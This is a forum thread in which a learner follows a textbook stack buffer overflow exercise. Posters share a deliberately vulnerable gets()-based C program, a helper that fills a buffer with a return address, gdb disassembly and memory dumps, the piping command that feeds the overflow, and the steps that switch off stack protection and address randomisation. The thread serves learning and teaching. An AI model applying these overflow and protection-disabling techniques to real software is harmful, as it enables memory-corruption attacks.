.

C Code Explanation

<<

IamHe

Newbie
Newbie

Posts: 11

Joined: Sun Oct 11, 2009 5:29 pm

Post Tue Jul 20, 2010 6:47 pm

C Code Explanation

Could someone please explain exactly what is going on in the following code... actually.. just that pointer line.. not exactly sure whats going on.
  Code:
main(){
int i=0;
char stuffing[44];

for (i=0;i<=40;i=+4)
*(long *) &stuffing[i] = 0x08048415;
puts(stuffing);
}


Also, I'm going through the shell coders handbook and have a question..

So we are overflowing the following program:
  Code:
main(){
int i=0;
char stuffing[44];

for (i=0;i<=40;i=+4)
*(long *) &stuffing[i] = 0x08048415;
puts(stuffing);
}


I compiled it with the mpreferred-stack-boundary=2 option.

Ran it in the same operating system and CPU type as the examples.. this applies to other examples from other sources as well.. so why is it that the amount of memory the cpu allocates on the stack always different.

In the book when this program is run through gdb and return_input is disassembled.. it shows sub $0x20, %esp a.k.a 32.. but on my computer it shows 0x24 or 36...

shouldn't the buffer be the same?

also, this was the same case when I was following along with the BoF series at securitytube.net ... the funny thing though.. was that the code he provided worked for me.. even though gdb showed that we had different memory sizes allocated...

???
<<

Ketchup

User avatar

Hero Member
Hero Member

Posts: 1021

Joined: Fri Jul 04, 2008 7:44 pm

Location: Philadelphia, PA

Post Wed Jul 21, 2010 1:28 pm

Re: C Code Explanation

  Code:
*(long *) &stuffing[i] = 0x08048415;


As I understand, you are setting the 4 byte buffer location to a specific address in memory (0x08048415).  You are typecasting the address of the 4 byte buffer as a long pointer and dereferencing it, so that you can set its value.  At least, that's the way I understand it.

Which page of the Shellcoders Handbook are you on? 

You are probably running into some stack randomization and protection with the newer gcc versions.  Try compiling with the -fno-stack-protector option set. 
~~~~~~~~~~~~~~
Ketchup
<<

sil

User avatar

Hero Member
Hero Member

Posts: 551

Joined: Thu Mar 20, 2008 8:01 am

Location: ::1

Post Wed Jul 21, 2010 3:19 pm

Re: C Code Explanation

Ketchup wrote:Which page of the Shellcoders Handbook are you on? 

You are probably running into some stack randomization and protection with the newer gcc versions.  Try compiling with the -fno-stack-protector option set. 


He's on page 21 stack overflows...

Let's plop it open on a newer system (sure life is unfair!)

# gdb function
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) disas main
Dump of assembler code for function main:
0x0804835c <main+0>:    push  %ebp
0x0804835d <main+1>:    mov    %esp,%ebp
0x0804835f <main+3>:    sub    $0x8,%esp
0x08048362 <main+6>:    movl  $0x2,0x4(%esp)
0x0804836a <main+14>:  movl  $0x1,(%esp)
0x08048371 <main+21>:  call  0x8048354 <function>
0x08048376 <main+26>:  movl  $0x8048498,(%esp)
0x0804837d <main+33>:  call  0x8048290 <printf@plt>
0x08048382 <main+38>:  leave
0x08048383 <main+39>:  ret
End of assembler dump.
(gdb)


Notice the differences in compiling on two different machines?

For function return_input we have:

# gdb function
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) disas main
Dump of assembler code for function main:
0x08048412 <main+0>:    push  %ebp
0x08048413 <main+1>:    mov    %esp,%ebp
0x08048415 <main+3>:    call  0x80483f4 <return_input>
0x0804841a <main+8>:    mov    $0x0,%eax
0x0804841f <main+13>:  pop    %ebp
0x08048420 <main+14>:  ret
End of assembler dump.


Not to omit the errors:

strategos ~ # gcc -mpreferred-stack-boundary=2 -fno-stack-protector  -ggdb void.c -o function
/tmp/ccDrZEEj.o: In function `return_input':
/root/void.c:7: warning: the `gets' function is dangerous and should not be used.

Anyhow, see the difference in return address (0x80483f4). What is your return address when you compiled the original?

...
  Code:
main (){
int i=0;
char stuffing[44];

for (i=0;i<=40;i+=4)
*(long *) &stuffing[i] = 0x80483f4;
puts(stuffing);
}


Notice the address?

stuffing ... 0x80483f4;

What is your output from function when you disassembled it?
<<

sil

User avatar

Hero Member
Hero Member

Posts: 551

Joined: Thu Mar 20, 2008 8:01 am

Location: ::1

Post Wed Jul 21, 2010 3:53 pm

Re: C Code Explanation

To be fair, I went back to the root of it all.... RHEL9


  Code:
[root@localhost root]# vi function.c
[root@localhost root]# gcc -mpreferred-stack-boundary=2 -ggdb function.c -o function
[root@localhost root]# ./function
Address pointer[root@localhost root]# gdb function
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) disas main
Dump of assembler code for function main:
0x08048330 <main+0>:    push   %ebp
0x08048331 <main+1>:    mov    %esp,%ebp
0x08048333 <main+3>:    push   $0x2
0x08048335 <main+5>:    push   $0x1
0x08048337 <main+7>:    call   0x8048328 <function>
0x0804833c <main+12>:   add    $0x8,%esp
0x0804833f <main+15>:   push   $0x80483fc
0x08048344 <main+20>:   call   0x8048268 <printf>
0x08048349 <main+25>:   add    $0x4,%esp
0x0804834c <main+28>:   leave
0x0804834d <main+29>:   ret
End of assembler dump.


Magic number: 0x8048328

What likely confused you is your next disassemble call:

In the book you will see disas main again when it should be disas function:


(gdb) disas function

  Code:
(gdb) disas function
Dump of assembler code for function function:
0x08048328 <function+0>:        push   %ebp
0x08048329 <function+1>:        mov    %esp,%ebp
0x0804832b <function+3>:        sub    $0x20,%esp
0x0804832e <function+6>:        leave
0x0804832f <function+7>:        ret
End of assembler dump.
(gdb)


[root@localhost root]# vi overflow.c
[root@localhost root]# gcc -mpreferred-stack-boundary=2 -ggdb overflow.c -o overflow
[root@localhost root]# gdb overflow
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) disas main
Dump of assembler code for function main:
0x08048381 <main+0>:    push   %ebp
0x08048382 <main+1>:    mov    %esp,%ebp
0x08048384 <main+3>:    call   0x804835c <return_input>
0x08048389 <main+8>:    mov    $0x0,%eax
0x0804838e <main+13>:   leave
0x0804838f <main+14>:   ret
End of assembler dump.
(gdb)


[root@localhost root]# (./stuffing|cat) | ./overflow
A
B`Æ

Segmentation fault

[root@localhost root]# cat stuffing.c
main(){

int i=0;
char stuffing[44];

for (i=0;i<=40;i+=4)
*(long *) &stuffing[i] = 0x804835c;
puts(stuffing);
}


What part is not working for you?
<<

IamHe

Newbie
Newbie

Posts: 11

Joined: Sun Oct 11, 2009 5:29 pm

Post Thu Jul 22, 2010 6:33 pm

Re: C Code Explanation

Thank you for the responses :D. I'll get back to you with more details on my memory prob.
<<

IamHe

Newbie
Newbie

Posts: 11

Joined: Sun Oct 11, 2009 5:29 pm

Post Thu Aug 05, 2010 7:08 pm

Re: C Code Explanation

Alright.. here it is.

Overflowing following program:
  Code:
void return_input (void) {
   char array[30];

   gets (array);
   printf("%s\n", array);
}

main () {
   return_input();

   return 0;

}


2. Disas main to get memory location where return_input is called.

  Code:
Dump of assembler code for function main:
0x08048412 <main+0>:    push   %ebp
0x08048413 <main+1>:    mov    %esp,%ebp
[b]0x08048415[/b] <main+3>:    call   0x80483f4 <return_input>
0x0804841a <main+8>:    mov    $0x0,%eax
0x0804841f <main+13>:   pop    %ebp
0x08048420 <main+14>:   ret


As you can see, it is called at 0x0804841 I'm confused why you used the actual location of <return_input>

3. I then check to see how much space is reserved for return_input by disas return_input

  Code:
Dump of assembler code for function return_input:
0x080483f4 <return_input+0>:    push   %ebp
0x080483f5 <return_input+1>:    mov    %esp,%ebp
0x080483f7 <return_input+3>:    sub    [b]$0x24[/b],%esp
0x080483fa <return_input+6>:    lea    -0x1e(%ebp),%eax
0x080483fd <return_input+9>:    mov    %eax,(%esp)
0x08048400 <return_input+12>:   call   0x8048308 <gets@plt>
0x08048405 <return_input+17>:   lea    -0x1e(%ebp),%eax
0x08048408 <return_input+20>:   mov    %eax,(%esp)
0x0804840b <return_input+23>:   call   0x8048328 <puts@plt>
0x08048410 <return_input+28>:   leave
0x08048411 <return_input+29>:   ret


As you can see.. it reserves 0x24 which in binary is 36. i don't understand why it reserves 36 but in the example in the book it only reserves 0x20 aka 32 .. its the same program.. with the same variable sizes..??

so then the example program used to overwrite the memory locations with the pointer to the <return_input> call is:

  Code:
main(){
int i=0;
char stuffing[44];

for (i=0;i<=40;i+=4)
*(long *) &stuffing[i] = 0x80483f4;
puts(stuffing);
}


Since I have 4 bytes extra.. i changed both values to:

  Code:
main(){
int i=0;
char stuffing[48];

for (i=0;i<=44;i+=4)
*(long *) &stuffing[i] = 0x08048415;
puts(stuffing);
}


Makes sense.. right?

BTW.. why is stuffing 4 bytes larger.. is there something appended to the end like in strings?

Anyways.. in the end when I feed the program into the overflow program.. it doesn't work.

Below.. i execute the command (./address_to_char;cat) | ./overflow and then it waits for input, i type in "input" and it exits. Completely different then what the book shows.. so it isn't working.. or is it? is the ./address_to_char the first input the program expects .. and my input "input" the second input because it goes back to return_addr?

  Code:
(./address_to_char;cat) | ./overflow
input


The book shows something like this:

  Code:
(./address_to_char;cat) | ./overflow
input
<<<<<<<<<<<<<a<u____,input
input
input


(page 22)

Lastly.. the command (./address_to_char;cat) | ./overflow .. what exactly is going on there..i thought to input the output of a program to another you would use the ">" command.

If anyone could help me out it would be awesome.. because I can't continue until I understand these basics :D.

Thanks!


Edit: I also used the following options:

-fno-stack-protector

echo 0 > /proc/sys/kernel/randomize_va_space - disable virtual address randomization

gcc -mpreferred-stack-boundary=2 -ggdb
Last edited by IamHe on Thu Aug 05, 2010 7:13 pm, edited 1 time in total.
<<

Xen

User avatar

Sr. Member
Sr. Member

Posts: 386

Joined: Tue Feb 03, 2009 3:59 am

Post Fri Aug 06, 2010 1:36 am

Re: C Code Explanation

I don't have the book so I can't help you much.

I compiled your program with and without -mpreferred-stack-boundary=2 option. When th option is set my disassembly for main and return_input is.
(gdb) disas main
Dump of assembler code for function main:
0x0804847b <main+0>: push   %ebp
0x0804847c <main+1>: mov    %esp,%ebp
0x0804847e <main+3>: call   0x8048454 <return_input>
0x08048483 <main+8>: mov    $0x0,%eax
0x08048488 <main+13>: pop    %ebp
0x08048489 <main+14>: ret    
End of assembler dump.

(gdb) disas return_input
Dump of assembler code for function return_input:
0x08048454 <return_input+0>: push   %ebp
0x08048455 <return_input+1>: mov    %esp,%ebp
0x08048457 <return_input+3>: sub    $0x28,%esp
0x0804845a <return_input+6>: lea    -0x1e(%ebp),%eax
0x0804845d <return_input+9>: mov    %eax,(%esp)
0x08048460 <return_input+12>: call   0x8048368 <gets@plt>
0x08048465 <return_input+17>: mov    $0x8048560,%eax
0x0804846a <return_input+22>: lea    -0x1e(%ebp),%edx
0x0804846d <return_input+25>: mov    %edx,0x4(%esp)
0x08048471 <return_input+29>: mov    %eax,(%esp)
0x08048474 <return_input+32>: call   0x8048388 <printf@plt>
0x08048479 <return_input+37>: leave  
0x0804847a <return_input+38>: ret    
End of assembler dump.


As you can see, for me the stack shifted 40 decimal bytes.

Compiling without -mpreferred-stack-boundary=2
(gdb) disas main
Dump of assembler code for function main:
0x0804847b <main+0>: push   %ebp
0x0804847c <main+1>: mov    %esp,%ebp
0x0804847e <main+3>: and    $0xfffffff0,%esp
0x08048481 <main+6>: call   0x8048454 <return_input>
0x08048486 <main+11>: mov    $0x0,%eax
0x0804848b <main+16>: mov    %ebp,%esp
0x0804848d <main+18>: pop    %ebp
0x0804848e <main+19>: ret    
End of assembler dump.

(gdb) disas return_input
Dump of assembler code for function return_input:
0x08048454 <return_input+0>: push   %ebp
0x08048455 <return_input+1>: mov    %esp,%ebp
0x08048457 <return_input+3>: sub    $0x38,%esp
0x0804845a <return_input+6>: lea    -0x26(%ebp),%eax
0x0804845d <return_input+9>: mov    %eax,(%esp)
0x08048460 <return_input+12>: call   0x8048368 <gets@plt>
0x08048465 <return_input+17>: mov    $0x8048560,%eax
0x0804846a <return_input+22>: lea    -0x26(%ebp),%edx
0x0804846d <return_input+25>: mov    %edx,0x4(%esp)
0x08048471 <return_input+29>: mov    %eax,(%esp)
0x08048474 <return_input+32>: call   0x8048388 <printf@plt>
0x08048479 <return_input+37>: leave  
0x0804847a <return_input+38>: ret    
End of assembler dump.

Stack moved 56 bytes down.

I then set one breakpoint before gets is called and one after, for both of the above cases.

For the first case ( -mpreferred-s.....)
Breakpoint 2, 0x08048465 in return_input ()
(gdb) x/20x 0xbffff0c8
0xbffff0c8: 0xbffff0d2 0x080484c1  0x41410000 0x41414141
0xbffff0d8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff0e8: 0x41414141 0x41414141 0x00414141 0x08048483
0xbffff0f8: 0x00000000 0xb7e81ace 0x00000001 0xbffff194
0xbffff108: 0xbffff19c 0xffffffff 0xb7ffeff4 0x080482a5

For the first case, as you can see the first 10 decimal bytes weren't filled at all. Where 0xbffff0c8 is the stack pointer just before gets() was called. So the 40 bytes shift minus 10 bytes not filled space = 30 bytes buffer.
0x08048483 is the return address.
My solution for you ends here. I'm still a beginner ]

Now for the strange part and hopefully, if someone answers it, it might help you too (you still reading it? ;))
For the second case (without -mpreferr.....)
(gdb) x/20x 0xbffff0b0
0xbffff0b0: 0xbffff0c2 0x08049ff4 0xbffff0c8     0x08048344
0xbffff0c0: 0x41410000 0x41414141 0x41414141 0x41414141
0xbffff0d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff0e0: 0x08048400 0xb7e993c5  0xbffff0f8     0x08048486
0xbffff0f0: 0x080484a0 0x00000000 0x00000000 0xb7e81ace
(gdb) quit


Clearly, the first 18 decimal bytes weren't filled. So 56 bytes shift in ESP minus 18 bytes unfilled space=38 bytes buffer. But this time I get a segmentation fault even when overflow overwrites the 'old' base pointer. I don't know why. This could be because of -mpreferred-stack-boundary not set.
Breakpoint 2, 0x08048465 in return_input ()
(gdb) x/20x 0xbffff0b0
0xbffff0b0: 0xbffff0c2 0x08049ff4 0xbffff0c8 0x08048344
0xbffff0c0: 0x41410000 0x41414141 0x41414141 0x41414141
0xbffff0d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff0e0: 0x41414141 0x41414141 0xbffff000 0x08048486
0xbffff0f0: 0x080484a0 0x00000000 0x00000000 0xb7e81ace
(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff080 in ?? ()

0xbffff000 is the overwritten value of 'old' base pointer. bffff0 is the original value from the old base pointer and the last 00 is the null byte from the string (AA...).
Last edited by Xen on Fri Aug 06, 2010 1:39 am, edited 1 time in total.

Return to Programming

Who is online

Users browsing this forum: No registered users and 0 guests

cron
.
Powered by phpBB® Forum Software © phpBB Group.
Designed by ST Software